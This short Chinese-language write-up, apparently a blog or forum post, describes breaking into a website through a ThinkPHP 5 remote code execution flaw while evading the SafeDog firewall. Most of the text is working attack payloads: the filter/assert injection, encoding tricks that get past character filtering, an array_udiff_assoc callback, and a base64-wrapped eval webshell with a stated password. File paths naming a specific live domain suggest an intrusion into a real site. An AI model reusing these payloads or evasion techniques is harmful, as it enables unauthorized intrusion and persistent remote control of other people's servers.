搞某XX站,存在TP5漏洞,但是有安全狗,直接getshell不了,過濾了很多敏感字符,比如eval,copy等等
這里我想到了二個思路:
① 使用copy()或者file_put_contents()函數寫入過狗一句話代碼,並且接收payload的參數經過base64解密,對應的傳參經過base64加密;
② 在tp 5的POC上利用assert函數執行eval函數,eval函數使用$_REQUEST數組接收參數,並且接受的參數經過base64解密,對應的傳參也要經過base64加密
艱辛的過程:
①
_method=__construct&filter[]=assert&method=get&get[]=file_put_contents("123.txt","%26%6c%74%3b?php phpinfo; ?>")
<進行了過濾,只要<xxxxx都會被過濾,用HTML實體編碼<繞過,注意需要url編碼,也可以使用copy函數
后面測試發現能解析的路徑沒有權限,並且不能創建php文件
②
_method=__construct&filter[]=assert&method=get&get[]=array_udiff_assoc(array(base64_decode($_REQUEST[123])), array(1), "assert")&123= cGhwaW5mbygpOw==
使用array_udiff_assoc函數回調assert函數,參數經過base64解密,這樣就能直接連接webshell管理工具,密碼是123,webshell管理工具的payload要經過base64加密
最終payload使用eval函數,密碼1
_method=__construct&filter[]=assert&method=get&get[]=array_udiff_assoc(array(base64_decode($_REQUEST[123])), array(1), "assert")&123=ZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFsxXSkp&1=cGhwaW5mbygpOw==
附測試過程用的函數:
file_get_contents("D:/wwwroot/www.huiyijia.top/web/2.php") 讀取文件
print_r() 輸出函數,echo和print是語言結構
file_exists() 判定某個文件是否存在
file_put_contents("D:/wwwroot/www.huiyijia.top/extend/123.txt","1234.php") 寫入文件
array_udiff_assoc(array(base64_decode($_REQUEST[123])), array(1), "assert") 第三個參數是回調函數,第一個參數和第二個參數調用回調函數進行比較,返回值是數組